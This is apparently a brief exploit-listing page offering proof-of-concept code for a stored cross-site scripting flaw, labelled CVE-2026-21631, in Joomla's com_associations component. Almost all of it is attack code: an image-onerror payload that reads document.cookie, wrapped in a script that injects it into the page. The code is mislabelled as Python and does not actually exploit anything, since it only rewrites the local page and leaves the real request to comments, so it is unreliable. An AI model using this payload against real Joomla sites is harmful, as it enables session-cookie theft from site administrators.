Joomla Core 5.x (Specific versions prior to patch)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-21631 (Joomla com_associations XSS)
Description: Inject a malicious script into the multilingual association comparison view.
-->
<script>
// Malicious payload to be injected in the association field
var payload = '<img src=x onerror=alert(document.cookie)>';
// Simulation of the vulnerable request to store the payload
// This would typically be done via a POST request to the component
function injectPayload() {
console.log("[+] Injecting payload into com_associations...");
// In a real scenario, the attacker would edit an item and associate it with a language
// containing the payload in the title or description field.
return payload;
}
// Trigger function when the admin views the comparison
window.onload = function() {
if (window.location.href.indexOf("com_associations") > -1) {
var xss = injectPayload();
document.body.innerHTML = xss;
}
};
</script>